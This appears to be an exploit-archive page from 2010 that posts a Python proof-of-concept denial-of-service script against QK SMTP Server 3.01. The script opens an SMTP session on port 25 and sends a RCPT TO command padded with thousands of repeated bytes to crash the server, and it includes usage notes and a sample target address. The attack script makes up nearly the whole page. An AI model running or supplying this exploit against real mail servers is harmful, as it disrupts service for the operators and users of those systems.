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QK SMTP Server 3 RCPT TO: Command DoS

Posted on 12 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>QK SMTP Server 3 RCPT TO: Command DoS</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================
QK SMTP Server 3 RCPT TO: Command DoS
=====================================


# Author: antrhacks
# Software Link: http://www.qksoft.com/qk-smtp-server/download.php
# Version: 3.01
# Platform: Windows XP SP3 Home edition Fr
# Tested with buffersize: 4500, 5000
# Example: ./QKsmtp.py 192.168.0.10 4500
# Nota: Settings &gt; Acces IP Control &gt; Allow your IP

#!/usr/bin/python

#--------------------------------------------
# QK SMTP Server 3 RCPT TO: Command DoS
#--------------------------------------------

# Title:  QK SMTP Server 3 RCPT TO: Command DoS
# Author: antrhacks
# Software Link: http://www.qksoft.com/qk-smtp-server/download.php
# Version: 3.01
# Platform:  Windows XP SP3 Home edition Fr
# Tested with buffersize: 4500, 5000
# Example: ./QKsmtp.py 192.168.0.10 4500
# Nota: Settings &gt; Acces IP Control &gt; Allow your IP

import socket
import sys
 

 
def howto():
    print (&quot;Usage: scriptname.py &lt;IP&gt; &lt;BufferSize&gt;
&quot;)
 
def exploit(host):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        sock.connect((host, 25))
    except:
        print (&quot;Unable to connect to host&quot;)
        sys.exit(1)
    r=sock.recv(1024)
    print r 
    r=sock.getsockname()
    print r
    sock.send(&quot;HELO localhost
&quot;)
    r=sock.recv(1024)
    print r
    sock.send(&quot;MAIL FROM: hack@hack.com
&quot;)
    r=sock.recv(1024)
    print r
    sock.send(&quot;RCPT TO: &quot; + buffere + &quot;
&quot;) 
    r=sock.recv(1024)
    print r
    sock.send(&quot;QUIT&quot; + &quot; 
&quot;)
    r=sock.recv(1024)
    print r
    sock.close()
         
if len(sys.argv) &lt;&gt; 3:
    howto()
    sys.exit(1)
else:
    host=sys.argv[1]
    buffersize=int(sys.argv[2])
    buffere= &quot;x41&quot; * buffersize
    exploit(host)
    sys.exit(0)
 
# END


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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